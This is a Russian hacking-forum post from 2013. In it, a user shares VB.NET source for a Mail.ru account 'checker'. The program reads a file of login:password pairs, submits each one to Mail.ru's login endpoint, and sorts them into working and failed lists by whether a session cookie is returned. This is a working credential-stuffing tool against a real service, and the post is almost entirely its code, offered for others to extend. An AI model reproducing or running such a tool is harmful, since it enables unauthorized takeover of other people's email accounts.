Реклама на hackersoft.ru Реклама на hackersoft.ru

Вернуться   Форумы Hackersoft > Околотематические разделы > Для разработчиков > Программирование
CHAT Регистрация Справка Пользователи Доска почета Календарь Поиск Сообщения за день Все разделы прочитаны

Ответ
 
Опции темы
Старый 09.01.2013, 12:36   #1
leh12
advanced 
 
Аватар для leh12
 
Регистрация: 26.10.2008
Сообщений: 429
Вес репутации: 10 leh12 знатокleh12 знаток
Депозит: 0$
Вы сказали Спасибо: 26
Поблагодарили 80 раз(а) в 53 сообщениях
Вот такой написал чекер на майл.ру...тут может что и лишнего ...
Imports System.Net
Imports System.Text
Imports System.IO
Imports System.Net.Mail
Imports System.Text.RegularExpressions
Imports System.Threading
Public Class Form1
' Label2.Text = ""
Dim logincookie As CookieContainer
Dim Pass As String
Dim w As IO.StreamWriter
Dim r As IO.StreamReader
Dim pss As String
Dim Dom As String
Dim Logg As String
Dim tString As String
Dim tempCookies As New CookieContainer
Dim req As Net.HttpWebRequest
Dim resp As Net.HttpWebResponse
Dim str, str2 As IO.Stream
Dim fd As String
Dim postReq As HttpWebRequest
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
ListBox1.Items.Clear()'здесь ципляем файл
Using open As New OpenFileDialog
open.Filter = "Текстовые документы (*.txt)|*.txt"
If open.ShowDialog = DialogResult.OK Then
r = New IO.StreamReader(open.FileName)
While (r.Peek() > -1)
ListBox1.Items.Add(r.ReadLine)
End While
' r.Close()
End If
End Using
Label1.Text = ListBox1.Items.Count
End Sub
Тут конект
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
If ListBox1.Items.Count = 0 Then
MessageBox.Show("Введите Ключи", "Checker", MessageBoxButtons.OK, MessageBoxIcon.Asterisk)
Else
'PictureBox1.Visible = True
BackgroundWorker1.RunWorkerAsync()
End If
End Sub

Private Sub BackgroundWorker1_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker1.DoWork
checkme()
End Sub
Sub checkme()
' Dim b As Integer
' Dim i As Integer
' MsgBox("Входящие - " & Logg & "@" & Dom & " - Почта Mail.Ru</title>")
For i = 0 To ListBox1.Items.Count - 1
split1(i)
' split(x)
If i = ListBox1.Items.Count - 1 Then
MsgBox("Все ключи кончились! ")
'PictureBox1.Visible = False
' Timer1.Stop()
Return
End If
Try
Dim dd = ListBox1.Items.Item(i).ToString
Dim mm As Match = Regex.Match(dd, "\x40(?<Bllww>.*?)\x3B")
' Dim m As Match = Regex.Match(soq, "class=""portal-menu__user-email"">(?<Bllw>.*?)@mail.ru</span>")
Dom = (mm.Groups("Bllww").Value)
' MsgBox("Входящие - " & Logg & " - Почта Mail.Ru</title>")
' MsgBox(Dom)
Dim postData As String = "&Domain=" & Dom & "&Login=" & Logg & "&Password=" & pss & "&level=" & 1

' Dim chs As String = "gzip, deflate"
Dim wer As String = "no-cache"
Dim encoding As New UTF8Encoding
Dim byteData As Byte() = encoding.GetBytes(postData)
Dim postReq As HttpWebRequest = DirectCast(WebRequest.Create("http://win.mail.ru/cgi-bin/auth?Login="), HttpWebRequest)
postReq.Method = "POST"
postReq.KeepAlive = True
postReq.CookieContainer = tempCookies
postReq.AllowAutoRedirect = False
postReq.ContentType = "application/x-www-form-urlencoded"
postReq.Referer = "http://mail.ru/"
postReq.UserAgent = "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)"
postReq.ContentLength = byteData.Length

Dim postreqstream As Stream = postReq.GetRequestStream()
postreqstream.Write(byteData, 0, byteData.Length)
postreqstream.Close()
'postresponse = HttpWebResponse
Dim _defaultEncoding As New UTF8Encoding
Dim postresponse As HttpWebResponse = DirectCast(postReq.GetResponse(), HttpWebResponse)
tempCookies.Add(postresponse.Cookies)
logincookie = tempCookies
Dim postreqreader As New StreamReader(postresponse.GetResponseStream())
Dim thepage As String = postreqreader.ReadToEnd
If Not String.IsNullOrEmpty(postresponse.Headers("Set-Cookie")) Then
addme(1)

'If (GetBetween(postresponse.Headers("Set-Cookie"), "Mpop=", ";", 0)) <> "" Then
Else
addme2(1)
End If
' Dim soq As String = thepage
' Dim m As Match = Regex.Match(soq, "Входящие - (?<Bllw>.*?) - Почта Mail.Ru</title>")
' Dim m As Match = Regex.Match(soq, "class=""portal-menu__user-email"">(?<Bllw>.*?)@mail.ru</span>")
' Label2.Text = (m.Groups("Bllw").Value)
' fd = Label2.Text

' If thepage.Contains("Входящие - " & Logg & " - Почта Mail.Ru</title>") = True Then

'addme(1)
' Else
' addme2(1)
' End If
postresponse.Close()
postreqreader.Close()
'''''''''''''''''''''''''''''''''''''''''''''''''' ''''''''''''''''
Beep()


Catch ex As Exception

End Try
' Return
Next
End Sub
Private Sub split1(ByVal i As Integer)
Dim str = ListBox1.Items.Item(i).ToString
Dim split1 = str.Split(":")
If (split1.Count = 2) Then
' Dom = split1(0).ToString()
Logg = split1(0).ToString()
pss = split1(1).ToString()
' Dim tString = """" & ipp & """" & "," & portt
' MsgBox(Logg)
' MsgBox(pss)
End If
End Sub
Public Sub addme(ByVal yes As Boolean)
' MsgBox(Logg & ":" & pss)
CheckForIllegalCrossThreadCalls = False
ListBox2.Items.Add(Logg & ":" & pss)
ListBox2.ForeColor = Color.Green
'str = ""
Label2.Text = ListBox2.Items.Count
End Sub
Public Sub addme2(ByVal bad As Boolean)
CheckForIllegalCrossThreadCalls = False
ListBox3.Items.Add(Logg & ":" & pss)
ListBox3.ForeColor = Color.Red
' pss = ""
Label3.Text = ListBox3.Items.Count
End Sub
End Class
БИБИКИ я НЕУБРАЛ МОЖЕТ КТО ЧЕГО ДОБАВИТ БУДУ ПОСМОТРЕТЬ,,,
leh12 вне форума   Ответить с цитированием
Ответ


Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 
Опции темы

Ваши права в разделе
Вы не можете создавать темы
Вы не можете отвечать на сообщения
Вы не можете прикреплять файлы
Вы не можете редактировать сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.


Часовой пояс GMT +4, время: 06:24.


© 2005 — +∞ Hackersoft. Все и вся защищены.
Публичная оферта | Правила форума | Реклама на сайте
Powered by vBulletin®©™ Jelsoft®©™ Enterprises Ltd. Перевод: zCarot.
Реклама на hackersoft.ru Реклама на hackersoft.ru